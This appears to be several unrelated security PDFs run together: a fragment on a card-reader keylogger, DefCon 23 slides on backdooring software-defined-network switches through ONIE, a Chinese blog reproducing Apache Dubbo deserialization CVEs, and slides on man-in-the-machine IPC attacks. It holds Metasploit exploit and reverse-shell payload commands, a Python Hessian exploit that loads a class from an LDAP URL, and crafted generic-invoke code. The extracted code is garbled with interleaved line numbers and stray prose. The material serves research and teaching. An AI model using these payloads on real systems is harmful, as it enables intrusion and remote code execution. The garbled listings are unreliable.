卡機,然後在驅動程式中加入自己 設計的鍵盤側錄程式,只要民眾在 網路上使用晶片卡,條碼就會被完 網路上使用晶片卡,條碼就會被完 全側錄。還好警方在嫌犯盜刷這些 晶片卡前逮捕他,這些被偷取條碼 的民眾才沒有損失。要在虛擬的網 路世界開戶,使用網路銀行就必須 要讀卡機。只有高職畢業目前擔任 電腦工程師的陳姓嫌犯就專門在網 路上販賣讀卡機。不過,他自己設 計了一套鍵盤側錄程式放在讀卡機 的驅動程式中,只要民眾一刷卡, 卡片的條碼就會完全被複製。 DEMO3 繞過複雜的認證 繞過複雜的認證 繞過複雜的認證 繞過複雜的認證 適用對象 適用對象 適用對象 適用對象: 各種網路銀行 各種網路銀行 各種網路銀行 各種網路銀行 Bypass ActiveX Object Patch ActiveX Object Replace Malicious ActiveX Object Session Hijacking THANKS
pdf
DefCon 23, Las Vegas 2015 Staying Persistent in Software Defined Networks Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois [email protected] Hellfire Security Overview White Box Ethernet Stupid Is As Stupid Does! Exploiting it! Moving Forward Wrapping Up What Is It? Standard Hardware (“Blank” Slate) Running Merchant Silicon Trident and Broadcom Chipsets Intel, AMD, and PowerPC processors Common Operating System (Often Linux-Based) Critical for Software Defined Networking Can Be Used Without It! Why Do It? Reduced Cost Flexibility Control Traditional DevOps Software Defined Networking Open Compute Project Started By Facebook Total Redesign of Existing Technology To Meet Emerging Needs Specifications for Server, Storage, and the Data Center Designed to be efficient, to be inexpensive, and to be easy to service Open Compute Project Vanity Free and Minimalistic Not Tied To Brands or Anything Proprietary Components Are Abstracted Therefore … Interchangeable Open Network Install Environment (ONIE) Firmware for bare metal network switches Boot Loader for Network Operating Systems (NOS) Grub/U-Boot Underneath Facilitates Installation and Removal of NOS Comes Pre-Installed Automates Switch Deployment White Box Ethernet and ONIE What Could Go Wrong? Weaknesses (Operating System) Privileged Accounts No Root Password Doesn’t Force You To Change It! Management Services Uses Telnet SSH Installation Mode (18-bits Entropy) Recovery Mode (26-bits Entropy) Weaknesses (Installer) Predictable URLS Exact URLs from DHCPv4 Inexact URLs based on DHCP Response IPv6 Neighbors TFTP Waterfall Predictable File Name Search Order No Encryption or Authentication for Installs Weaknesses (Implementation) Exposed Partition No Secure Boot What Does This Mean? Lot’s Of Opportunities to Blow It Up! Here’s How Compromise It’s Installations Via Rogue DHCP Server Via IPv6 Neighbor Via TFTP Compromise It Forced Reboot Entry Sniffing/MiTM (Telnet or SSH) Even Better Compromise It Get Past Network Operating System Modify ONIE Exposed Partition No Secure Boot Now You’re In the Firmware … Now You’re There Forever! Network Operating Systems (NOS) Gets Installed By ONIE Operates the Switch ONIE-Compatible Distributions Open Network Linux Switch Light Cumulus Linux MLNX-OS Open Network Linux Linux distribution for "bare metal" switches Based On Debian Linux Bare-Bones with No Features Development Platform Only Maintained by Open Compute Project Switch Light Linux distribution for "bare metal" switches Packaged Open Network Linux Indigo Openflow Agent Extension of Big Switch Fabric (SDN) Maintained by Big Switch Networks Cumulus Linux Linux distribution for "bare metal" switches Based On Debian Linux Puppet/Chef/Ansible Agent Network Automation and Orchestration (DevOps) Maintained by Cumulus Networks MLNX-OS Linux distribution for "bare metal" switches Based On Enterprise Linux 5 (Red Hat Enterprise Linux 5) Puppet/Chef/Ansible/eSwitch Agent Network Automation and Orchestration (DevOps) or Controller (SDN) Maintained by Mellanox Weaknesses (Agent) No Encryption and No Authentication Switch Light (Indigo) MLNX-OS (eSwitch) Out-Dated OpenSSL Switch Light (Actually No SSL Used! WTF?) Cumulus Linux (OpenSSL 1.0.1e Puppet) MLNX-OS (OpenSSL 0.9.8e-fips-rhel5) Could Lead To … Topology, Flow, and Message Modification through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Information Disclosure through Exploitation Switch Light (Indigo) MLNX-OS (eSwitch) Cumulus Linux (Puppet) Weaknesses (Agent) Running As Root Switch Light (Indigo) Cumulus Linux (Puppet) Vulnerable Code Lot’s of MEMCPY (Indigo) Could Lead To … But Still, It’s Kind Of Scary … Weaknesses (Operating System) Out-Dated Bash Switch Light (Bash version 4.2.37 ) Cumulus Linux (Bash version 4.2.37) MLNX-OS (Bash version 3.2.9) Weaknesses (Operating System) Default (and Fixed) Privileged Accounts Switch Light admin root (hidden/disabled) Cumulus Linux cumulus root (disabled) MLNX-OS admin root (hidden/disabled) Weaknesses (Operating System) Doesn’t Force You To Change Default Passwords for Privileged Accounts Switch Light (admin) Cumulus Linux (cumulus) MLNX-OS (admin) Weaknesses (Operating System) Easy Escape to Shell Switch Light (enable, debug bash) Cumulus Linux (N/A) MLNX-OS (shell escape) Instant Elevation Switch Light (N/A) Cumulus Linux (sudo) MLNX-OS (su) Remember that disabled root account? Could Lead To … Full Control of Your Network through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Compromise of Firmware through Unauthorized Access Switch Light Cumulus Linux MLNX-OS Switch Light Cumulus Linux MLNX-OS Like So … admin:x:0:0::/root:/usr/bin/pcli Exposed ONIE Partition Exposed ONIE Partition Once More With Feeling! Why? Disabled Root Accounts Can Still Be Used If Logged In Already! Just Need Shell Access Since they are hidden from user, highly likely their passwords won’t be set! Just one “su”, and you are in … This Means Is One Key Logger Away! Scenario (Demo) End-User System (Windows) Drive-By Web Attack/Phishing Email Key Logging for Default Accounts SDN Discovery (Southbound API) Second Stage Attack Network Operating System (Linux) Compromised Login Plant and Start Binaries (Backdoor) Scenario (Demo) ONIE Planted Binaries Added “onie-nos-install” Shell Script Modified Wait! Our Switch Is Infected! Backdoor Accessible Even from the Internet (Pivoting) Scenario (Demo) Environment Refresh onie-nos-install Downloads And Executes nos Installer Afterwards Adds Planted Binaries Back Set’s Run-Level! Resurrection! Backdoor Accessible Even from the Internet (Pivoting) Delivery (Demo) Metasploit Setup use exploit/multi/browser/java_jre17_jmxbean set EXE::Custom \path\to\Custom.exe set payload windows/meterpreter/reverse_https Drive-By Demo Site Click Link Redirect to Known Good Malware (Demo) Assumptions Management Station (Windows-Based) Switch Linux-Based Southbound APIs Running Management Plane Not Accessible from Internet Accessible from Management Station Malware (Demo) Methods (First Stage) Scanning Openflow Ports (6633, 6653) SSH Banners Exploitation SSH Client Wrapper Escape Commands Binary Planted Cross-Compiled for Demo-OS (netcat) Delivered Via printf | dd Yes, I know It’s Ugly! Malware (Demo) Methods (First Stage) ONIE Modified (Shell Commands Modify onie-nos-install) Pivot (Reverse HTTP) Methods (Second Stage) (netcat) Malware (Demo) Development First Stage Python Script Compiled Only Several Megabytes In Size Second Stage netcat from source Demonstration Malware (Improvements) First Stage (Additional Exploitation) Bash Second Stage (Custom) Attacks Network Modification and Manipulation Attacks Against Loopback Services (Escalation) Evasion Recovery from ONIE Upgrade Various Linux … Worming And Now Some Pwnage … Sorry Cumulus Linux! Zero-Day Exploit Cumulus Linux Has Several Command-Line Tools cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl Meant To Be Used By Reduced Privilege “admin” Commands Processed By “clcmd-server.py” On Unix Sockets Command Injection Issues! Boom Goes CLCMD-SERVER And it runs as “Root” CLCMD-SERVER Running On A Switch Demonstration Exposed ONIE Partition Available Solutions Hardware Install Environment Network Operating Systems Agents Enterprise Architecture Hardware Trusted Platform Module (TPM) Rob Sherwood Had These Put In for Most x86-Based Switches Let’s Add Them to the PowerPC Switches Then, Let’s Use Them! Install Environment Remove Telnet Increase Key Entropy Force Password Change Remove IPv6 and TFTP Waterfall Sign the Installations Operating Systems Changeable Names uid 0 accounts “reduced” privilege accounts Force Password Change Tighten Shell Access Switch Light (Two-Factor Escape) Cumulus Linux (Wrapper) MLNX-OS (Two-Factor Escape) Agents Use TLS Add Encryption and Authentication Use DevOps or SDN to Coordinate Certificate and Key Distribution Enterprise Architecture Isolate Management Plane Rarely Done What’s wrong with Jump Boxes? Audit Switches Password Changes ONIE Partition Hashes Impact On Security Keeping Pressure On Developers (Scaring Them) Making The Difference Racing Ahead Getting Products/Features To Market Is Important … I get it. We all get it. But You're Not Learning Desktop Operating Systems Server Operating Systems These Are Not New Wake Up! Impact On Security So Begins The Spinning of the Merry-Go-Round We Hack It You Fix It Let The Clean-Up Begin Is It So Hard To Hire Someone for Security I thought fixing It later was more expensive? Security Can Be A Feature Too Scaring Developers! Learn From Desktop and Server Operating Systems Leverage Management Platforms (DevOps) or Controllers (SDN) Security Reference Audit Capability (Reconciliation) Logging Logic Probes Making The Difference SDN has the potential to turn the entire Internet into a cloud Benefit would be orders of magnitude above what we see now But there is hole in the middle of it that could easily be filled by the likes of the NSA … or worse yet, China Let’s Not Let That Happen And That Start’s Here Final Thoughts Links http://etherealmind.com/network-dictionary-whitebrand-ethernet/ https://github.com/opencomputeproject/onie/wiki/Quick-Start-Guide https://github.com/opencomputeproject/onie/wiki/CLI-Reference http://opennetlinux.org/docs/build http://opennetlinux.org/docs/deploy http://www.bigswitch.com/sdn-products/big-cloud-fabrictm http://www.bigswitch.com/products/switch-light http://labs.bigswitch.com https://github.com/floodlight/indigo https://github.com/floodlight/ivs http://docs.cumulusnetworks.com/ http://cumulusnetworks.com/get-started/test-drive-open-networking/ https://puppetlabs.com/blog/puppet-cumulus-linux Links https://github.com/puppetlabs/puppet http://www.mellanox.com/page/mlnx_os http://h20564.www2.hp.com/hpsc/swd/public/detail?swItemId=M TX_8adfcbf6e0834d5a82564b4825 https://github.com/mellanox-openstack/mellanox-eswitchd http://zeromq.org/intro:read-the-manual
pdf
简单过了下Dubbo的漏洞 开⼯第⼀个想到的就是陈师傅的星球(漏洞百出),Dubbo最近出了⼏个漏洞,历史漏洞我也没 看过,这⾥就简单看下。 Apache Dubbo 是⼀款⾼性能、轻量级的开源Java RPC框架,它提供了三⼤核⼼能⼒:⾯向接 ⼝的远程⽅法调⽤,智能容错和负载均衡,以及服务⾃动注册和发现。dubbo ⽀持多种序列化 ⽅式并且序列化是和协议相对应的。⽐如:Dubbo⽀持dubbo、rmi、hessian、http、 webservice、thrift、redis等多种协议。 Dubbo和序列化关系 参考⾃https://www.anquanke.com/post/id/209251#h3-7 1. Dubbo 从⼤的层⾯上将是RPC框架,负责封装RPC调⽤,⽀持很多RPC协议 2. RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、 memcached、jsonrpc等 3. Java中的序列化有Java原⽣序列化、Hessian 序列化、Json序列化、dubbo 序列化 ⼀、CVE-2019-17564 其实我是踩了⼏个坑的,⼀个事maven源的问题,⼀个是docker内部服务问题,其实归根结底 还是我穷电脑配置太拉跨了。下⾯就直接说下怎么配置吧。 ⾸先直接去获取dubbo-samples,https://github.com/apache/dubbo-samples idea打开项⽬推荐先⽤阿⾥的源打开,⼤概率会有问题,然后挂上代理再换成maven官⽅的源。 docker的话是需要zookeeper来启动的,为了⽅便直接从dockerhub上pullzk的镜像即可, docker run --rm --name zookeeper -p 2181:2181 zookeeper 然后修改http-provider.xml来指定zookeeper的IP 这⾥强调⼀下另⼀个坑,由于我的zk是放在虚拟机⾥的,按理说应该延迟很⼩,但是dubbo服务 启动的时候仍旧连不上,沉思许久加了⼀个timeoute参数在连接url中。 修改pom⽂件中dubbo为存在漏洞版本,这⾥我也遇到⼀个坑,⽹上⽂章说直接改这⾥就⾏,我 这⾥改完以后maven加载不了,导致缺少关键类 尝试了⼀会⼉,⽬前我的是⽣效的 <?xml version="1.0" encoding="UTF-8"?> 1 <!-- 2 Licensed to the Apache Software Foundation (ASF) under one or more 3 contributor license agreements. See the NOTICE file distributed with 4 this work for additional information regarding copyright ownership. 5 The ASF licenses this file to You under the Apache License, Version 2.0 6 (the "License"); you may not use this file except in compliance with 7 the License. You may obtain a copy of the License at 8 9 http://www.apache.org/licenses/LICENSE-2.0 10 11 Unless required by applicable law or agreed to in writing, software 12 distributed under the License is distributed on an "AS IS" BASIS, 13 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 See the License for the specific language governing permissions and 15 limitations under the License. 16 --> 17 18 <project xmlns="http://maven.apache.org/POM/4.0.0" 19 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 20 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 21 <groupId>org.apache.dubbo</groupId> 22 <version>1.0-SNAPSHOT</version> 23 24 <modelVersion>4.0.0</modelVersion> 25 26 <artifactId>dubbo-samples-http</artifactId> 27 28 <properties> 29 <source.level>1.8</source.level> 30 <target.level>1.8</target.level> 31 <dubbo.version>2.7.7</dubbo.version> 32 <spring.version>4.3.16.RELEASE</spring.version> 33 <junit.version>4.12</junit.version> 34 </properties> 35 36 <dependencyManagement> 37 <dependencies> 38 <dependency> 39 <groupId>org.springframework</groupId> 40 <artifactId>spring-framework-bom</artifactId> 41 <version>${spring.version}</version> 42 <type>pom</type> 43 <scope>import</scope> 44 </dependency> 45 <!-- https://mvnrepository.com/artifact/org.apache.dubbo/dubbo --> 46 <dependency> 47 <groupId>org.apache.dubbo</groupId> 48 <artifactId>dubbo</artifactId> 49 <version>2.7.4.1</version> 50 </dependency> 51 52 <dependency> 53 <groupId>org.apache.dubbo</groupId> 54 <artifactId>dubbo-bom</artifactId> 55 <version>${dubbo.version}</version> 56 <type>pom</type> 57 <scope>import</scope> 58 </dependency> 59 <dependency> 60 <groupId>org.apache.dubbo</groupId> 61 <artifactId>dubbo-dependencies-zookeeper</artifactId> 62 <version>${dubbo.version}</version> 63 <type>pom</type> 64 </dependency> 65 <dependency> 66 <groupId>com.fasterxml.jackson.core</groupId> 67 <artifactId>jackson-databind</artifactId> 68 <version>2.9.10.8</version> 69 </dependency> 70 <dependency> 71 <groupId>com.fasterxml.jackson.core</groupId> 72 <artifactId>jackson-core</artifactId> 73 <version>2.9.10</version> 74 </dependency> 75 <dependency> 76 <groupId>com.fasterxml.jackson.core</groupId> 77 <artifactId>jackson-annotations</artifactId> 78 <version>2.9.10</version> 79 </dependency> 80 </dependencies> 81 </dependencyManagement> 82 83 <dependencies> 84 <!-- <dependency>--> 85 <!-- <groupId>org.apache.dubbo</groupId>--> 86 <!-- <artifactId>dubbo</artifactId>--> 87 <!-- </dependency>--> 88 89 <dependency> 90 <groupId>org.apache.dubbo</groupId> 91 <artifactId>dubbo-dependencies-zookeeper</artifactId> 92 <type>pom</type> 93 </dependency> 94 95 <dependency> 96 <groupId>org.apache.dubbo</groupId> 97 <artifactId>dubbo</artifactId> 98 <version>2.7.3</version> 99 </dependency> 100 最后配置idea即可启动服务 <!-- <dependency>--> 101 <!-- <groupId>org.apache.commons</groupId>--> 102 <!-- <artifactId>commons-collections4</artifactId>--> 103 <!-- <version>4.0</version>--> 104 <!-- </dependency>--> 105 106 略 和原来一样 107 108 </dependencies> 109 110 <profiles> 111 <!-- For jdk 11 above JavaEE annotation --> 112 <profile> 113 <id>javax.annotation</id> 114 <activation> 115 <jdk>[1.11,)</jdk> 116 </activation> 117 <dependencies> 118 <dependency> 119 <groupId>javax.annotation</groupId> 120 <artifactId>javax.annotation-api</artifactId> 121 <version>1.3.2</version> 122 </dependency> 123 </dependencies> 124 </profile> 125 </profiles> 126 127 <build> 128 <plugins> 129 <plugin> 130 <groupId>org.apache.maven.plugins</groupId> 131 <artifactId>maven-compiler-plugin</artifactId> 132 <version>3.7.0</version> 133 <configuration> 134 <source>${source.level}</source> 135 <target>${target.level}</target> 136 </configuration> 137 </plugin> 138 </plugins> 139 </build> 140 141 </project> 142 2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x 这⾥就⽤2.7.3 来复现,我这⾥尝试复现CC链,JRE8u20,URLDNS 都报错为suid不匹配,最 后我本地写了⼀个恶意Gadget还是同样的报错,就很迷......不过反序列化肯定是⾛到了,勉强可 以跟⼀波,报错如下,这⾥将环境打包上传,有兴趣的师傅可以看下.... 链接:https://pan.baidu.com/s/1AEuMmDc8IypZBolGQXc86w  提取码:2333  六月 30, 2021 12:02:57 下午 org.apache.catalina.core.StandardWrapperValve invoke 1 严重: Servlet.service() for servlet [dispatcher] in context with path [/] threw exception [java.io.InvalidClassException: TestDer; local class incompatible: stream classdesc serialVersionUID = -2639023527669302209, local class serialVersionUID = -2639023527669302135] with root cause 2 java.io.InvalidClassException: TestDer; local class incompatible: stream classdesc serialVersionUID = -2639023527669302209, local class serialVersionUID = -2639023527669302135 3 at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:621) 4 at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1623) 5 由于我对Dubbo的整体架构不是很熟悉,直接来看了漏洞,根据经验,直接从报错点开始下断点 跟 可以看到这⾥的this为DispatcherServlet,下⾯⾃然就会⾛到很多⽂章⾥提到的 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service,Dispatcher听名字分 发,盲猜应该是dubbo的路由阶段 这⾥再留⼼⼀下前⾯的调⽤栈,是从doFilter⾛过来的 at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1518) 6 at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1774) 7 at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) 8 at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) 9 这⾥做⼀个记录,⽅便以后深⼊学习dubbo的逻辑 接下来进⼊org.apache.dubbo.remoting.http.HttpHandler#handle 这⾥的HttpHandler是个接⼝,上⾯提到dubbo⽀持多种协议处理数据, 我们发送的是http协议数据,⾃然会进⼊到 org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle 这⾥提⼀嘴修复,修复使⽤JsonRpcServer替代 org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler,从⽽⽆法处理反序列化字 节流 以下涉及到⼀点知识盲区,引⽤⾃https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E 5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5% A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/#%E6%BC%8F%E6%B4%9E%E5%A 4%8D%E7%8E%B0,留个坑,后⾯研究 最终⾛到反序列化触发点 此时调⽤栈 doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi) 1 readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) 2 readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) 3 ⼆、CVE-2020-1948 Apache Dubbo 2.7.0 ~ 2.7.6 Apache Dubbo 2.6.0 ~ 2.6.7 Apache Dubbo 2.5.x 所有版本 (官⽅不再提供⽀持) 这⾥搭建环境使⽤https://github.com/apache/dubbo-spring-boot-project 增加依赖 更改代碼,为了⽅便直接⽤github现成的环境了 https://github.com/ctlyz123/CVE-2020-1948 这⾥我直接把mashalsec加⼊了依赖 handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) 4 handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http) 5 service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet) 6 service:790, HttpServlet (javax.servlet.http) 7 internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) 8 doFilter:166, ApplicationFilterChain (org.apache.catalina.core) 9 invoke:198, StandardWrapperValve (org.apache.catalina.core) 10 invoke:96, StandardContextValve (org.apache.catalina.core) 11 invoke:496, AuthenticatorBase (org.apache.catalina.authenticator) 12 invoke:140, StandardHostValve (org.apache.catalina.core) 13 invoke:81, ErrorReportValve (org.apache.catalina.valves) 14 invoke:87, StandardEngineValve (org.apache.catalina.core) 15 service:342, CoyoteAdapter (org.apache.catalina.connector) 16 service:803, Http11Processor (org.apache.coyote.http11) 17 process:66, AbstractProcessorLight (org.apache.coyote) 18 process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote) 19 doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) 20 run:49, SocketProcessorBase (org.apache.tomcat.util.net) 21 runWorker:1142, ThreadPoolExecutor (java.util.concurrent) 22 run:617, ThreadPoolExecutor$Worker (java.util.concurrent) 23 run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) 24 run:745, Thread (java.lang) 25 先启动Provider 在启动customer 或者直接⽤Python脚本打⼀下,但是需要改下service_name from dubbo.codec.hessian2 import Decoder,new_object 1 from dubbo.client import DubboClient 2 3 client = DubboClient('127.0.0.1', 12345) 4 5 JdbcRowSetImpl=new_object( 6       'com.sun.rowset.JdbcRowSetImpl', 7       dataSource="ldap://127.0.0.1:8089/Exploit", 8       strMatchColumns=["foo"] 9       ) 10 JdbcRowSetImplClass=new_object( 11       'java.lang.Class', 12       name="com.sun.rowset.JdbcRowSetImpl", 13       ) 14 漏洞存在于 Apache Dubbo默认使⽤的反序列化⼯具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有⽆法识别的服务名或⽅法名,以及⼀些恶 意的参数负载。当恶意参数被反序列化时,达到代码执⾏的⽬的。引⽤⾃:https://www.anqua nke.com/post/id/209251 上⾯的漏洞是http出了问题,这个是dubbo⽀持的hessian出了问题,简⽽⾔之就是Dubbo协议 中Hessian反序列化漏洞。 主要利⽤Dubbo协议调⽤其他RPC协议时会涉及到数据的序列化和反序列化操作。如果没有 做检查校验很有可能成功反序列化攻击者精⼼构造的恶意类,利⽤java调⽤链使服务端去加 载远程的Class⽂件,通过在Class⽂件的构造函数或者静态代码块中插⼊恶意语句从⽽达到 远程代码执⾏的攻击效果。 Hessian序列化⽅法Demo 突然发现⾃⼰要写的东⻄有个师傅写的很详细了,这⾥直接放上链接 https://www.anquanke.com/post/id/209251 不过看这个漏洞学到了新东⻄,在Hessian反序列化⾥,ysoserial提供的gadget⽆法使⽤, Hessian反序列化学习https://blog.csdn.net/u011721501/article/details/79443598 这⾥放上⼀张图,等待下次看dubbo源码分析 toStringBean=new_object( 15       'com.rometools.rome.feed.impl.ToStringBean', 16       beanClass=JdbcRowSetImplClass, 17       obj=JdbcRowSetImpl 18       ) 19 20 resp = client.send_request_and_return_response( 21     service_name='org.apache.dubbo.spring.boot.demo.provider.service.Defau ltDemoService', 22     method_name='sayHello', 23     args=[toStringBean]) 24 public class HessianTest { 1 public static void main(String[] args) throws Exception { 2 Object o=new User(); 3 ByteArrayOutputStream os = new ByteArrayOutputStream(); 4 Hessian2Output output = new Hessian2Output(os); 5 output.writeObject(o); 6 output.close(); 7 System.out.println(os.toString()); 8 } 9 } 10 三、CVE-2021-30179 ⽹上没有现成的⽂章复现步骤,只有三梦师傅的代码截图,对dubbo不了解,⼀点点搜,尝试构 造连接请求,中间踩坑多少不提了,有想调试的同学直接跟着写就好了 https://github.com/apache/dubbo-samples 我⽤了这⾥⾯的这个项⽬,因为漏洞关键店在 generic \dubbo-samples-master\dubbo-samples-generic\dubbo-samples-generic-type 修改org.apache.dubbo.samples.generic.api.UserService org.apache.dubbo.samples.generic.impl.UserServiceImpl package org.apache.dubbo.samples.generic.api; 1 2 import java.io.IOException; 3 4 public interface UserService extends Service<Params, User> { 5 String sayHello(String name,String name1); 6 String commonTest(Object o) throws IOException; 7 String $invoke(String name,String[] ccc,Object[] bbb); 8 } 9 package org.apache.dubbo.samples.generic.impl; 1 2 import org.apache.dubbo.samples.generic.api.Params; 3 import org.apache.dubbo.samples.generic.api.User; 4 import org.apache.dubbo.samples.generic.api.UserService; 5 6 import java.io.IOException; 7 8 public class UserServiceImpl implements UserService { 9 10 @Override 11 public User get(Params params) { 12 return new User(Integer.parseInt(params.get("id")), params.get("name")); 13 } 14 15 org.apache.dubbo.samples.generic.GenericConsumer @Override 16 public String sayHello(String name,String name1) { 17 return "sss"; 18 } 19 20 @Override 21 public String commonTest(Object o) throws IOException { 22 return "ccc"; 23 } 24 25 @Override 26 public String $invoke(String name, String[] ccc, Object[] bbb) { 27 return "iii"; 28 } 29 } 30 package org.apache.dubbo.samples.generic; 1 2 import org.apache.dubbo.rpc.service.GenericService; 3 import org.apache.dubbo.samples.generic.api.Params; 4 import org.apache.dubbo.samples.generic.api.User; 5 import org.apache.dubbo.samples.generic.api.UserService; 6 7 import org.springframework.context.support.ClassPathXmlApplicationContext; 8 9 import java.util.HashMap; 10 import java.util.Map; 11 12 public class GenericConsumer { 13 14 public static void main(String[] args) throws Exception { 15 ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml"); 16 context.start(); 17 UserService userService = (UserService) context.getBean("userService"); 18 String[] ccc = {"java.lang.String","java.lang.String"}; 19 byte[] bytes1 = new byte[]{-54, -2, 。。。}; 20 byte[] bytes2 = new byte[]{-54, -2, 。。。。}; 21 22 23 Object[] bbb = {bytes1,bytes2}; 24 userService.$invoke("sayHello",ccc,bbb); 25 26 // UserService userService = (UserService) context.getBean("userService"); 27 // Map<String, String> map = new HashMap<>(); 28 // map.put("id", "1"); 29 generic-type-consumer.xml 更改zk地址为⾃⼰的zk地址 privder配置如下 cuntomer配置如下 // map.put("name", "Charles"); 30 // Params params = new Params(map); 31 // User user = userService.get(params); 32 // 33 // System.out.println(user); 34 } 35 } 36 provider启动后,启动cuntomer,成功进⼊readObject逻辑 调⽤栈如下 重点还是在 invoke:91, GenericFilter (org.apache.dubbo.rpc.filter) 1 invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) 2 invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter) 3 invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) 4 invoke:41, EchoFilter (org.apache.dubbo.rpc.filter) 5 invoke:81, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) 6 reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo) 7 handleRequest:100, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header) 8 received:175, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header) 9 received:51, DecodeHandler (org.apache.dubbo.remoting.transport) 10 run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) 11 runWorker:1142, ThreadPoolExecutor (java.util.concurrent) 12 run:617, ThreadPoolExecutor$Worker (java.util.concurrent) 13 run:745, Thread (java.lang) 14 以及userService的参数构造 五、CVE-2021-30181 https://articles.zsxq.com/id_b0ngrui87nft.html 六、参考连接 https://wx.zsxq.com/dweb2/index/group/555848225184 https://articles.zsxq.com/id_pv19zdgj03h5.html https://wx.zsxq.com/dweb2/index/topic_detail/182885252184842 https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E5%8F%8D%E5%BA%8F%E5%8 8%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E7%AC% 94%E8%AE%B0/#CVE-2020-1948 https://y4er.com/post/apache-dubbo-cve-2019-17564/ <dubbo:reference id="userService" interface="org.apache.dubbo.samples.generic.api.UserService" generic="nativejava"/> 1
pdf
Last mile authentication problem Exploiting the missing link in end-to-end secure communication Our team Thanh Bui Doctoral Candidate Aalto University Finland Sid Rao Doctoral Candidate Aalto University Finland Dr. Markku Antikainen Post-doc researcher University of Helsinki Finland Prof. Tuomas Aura Professor Aalto University Finland 2 Traditional network threat model ● Server and user device are trusted ● Software is trusted ● Untrusted network: ○ “man in the middle” ● E.g. web server and web browser ● Crypto (TLS and web PKI) to protect communication 3 Server User device Client ● Not all communication goes over the traditional network ○ Inter Process Communication ● Multiple untrusted services run inside the user device We try to understand security of communication inside the computer Communication inside a computer - IPC 4 User device Frontend process Backend process Man in the Machine (MitMa) ● MitMa attacker: Another user at home or at work, including guest ● Attacker goal: Impersonate communication endpoints in IPC ● Attack method: ○ Runs a malicious process in the background (no privilege escalation required) ○ Fast user switching, remote access (e.g. ssh, remote desktop) 5 Alice’s session Frontend process Backend process Guest’s session Malware This talk ● We exploit “last mile communication” inside the computer ● Structure ○ IPC and attack vectors ○ Case studies ■ Password managers ■ USB security tokens ○ Mitigation ○ Conclusion 6 This talk ● We exploit “last mile communication” inside the computer ● Structure ○ IPC and attack vectors ○ Case studies ■ Password managers ■ USB security tokens ○ Mitigation ○ Conclusion 7 Credentials and second authentication factors can be compromised from inside the computer zz Inter Process Communication 8 IPC methods ● File system ● Signal and semaphore ● Network socket and Unix domain socket ● Message queue ● Anonymous pipe and named pipe ● Shared memory ● Clipboard ● Remote Procedure Call (RPC) ● USB (though not strictly an IPC method) ● ... 9 Network sockets ● Mainly for communication across network but used for IPC as well ○ Over loopback interface: 127.0.0.0/8 or ::1/128 ● Server listens on a specified port and waits for incoming client requests ○ Only a single process can bind to a port at a time ○ Any process regardless of its owner can listen on ports > 1024 ● Local processes can connect to the server as clients if the port is known ● No built-in access control 10 Network sockets - Attack vectors (1) Client impersonation ● Any local process can connect to any server port on localhost ● If server accepts only one client, connects before the legitimate client Server impersonation ● Bind to the port before the legitimate server does 11 Network sockets - Attack vectors (1) Client impersonation ● Any local process can connect to any server port on localhost ● If server accepts only one client, connects before the legitimate client Server impersonation ● Bind to the port before the legitimate server does Legitimate and malicious servers cannot bind to the same port at the same time Man-in-the-Middle? 12 Network sockets - Attack vectors (2) Man-in-the-Middle attack ● Port agility ○ If primary port is taken, the server might failover to another port from a predefined list ○ MitMa attacker can ■ Listen on the primary port to receive client connection, and ■ Connect himself to the legitimate server on the secondary port 13 Network sockets - Attack vectors (2) Man-in-the-Middle attack ● Port agility ○ If primary port is taken, the server might failover to another port from a predefined list ○ MitMa attacker can ■ Listen on the primary port to receive client connection, and ■ Connect himself to the legitimate server on the secondary port ● No port agility ○ Replay messages by alternating between the client and server roles ○ Rate of messages passing through the attacker will be slow but might still be practical 14 Windows named pipe 15 ● Similar client-server architecture as network socket’s, but multiple processes can simultaneously act 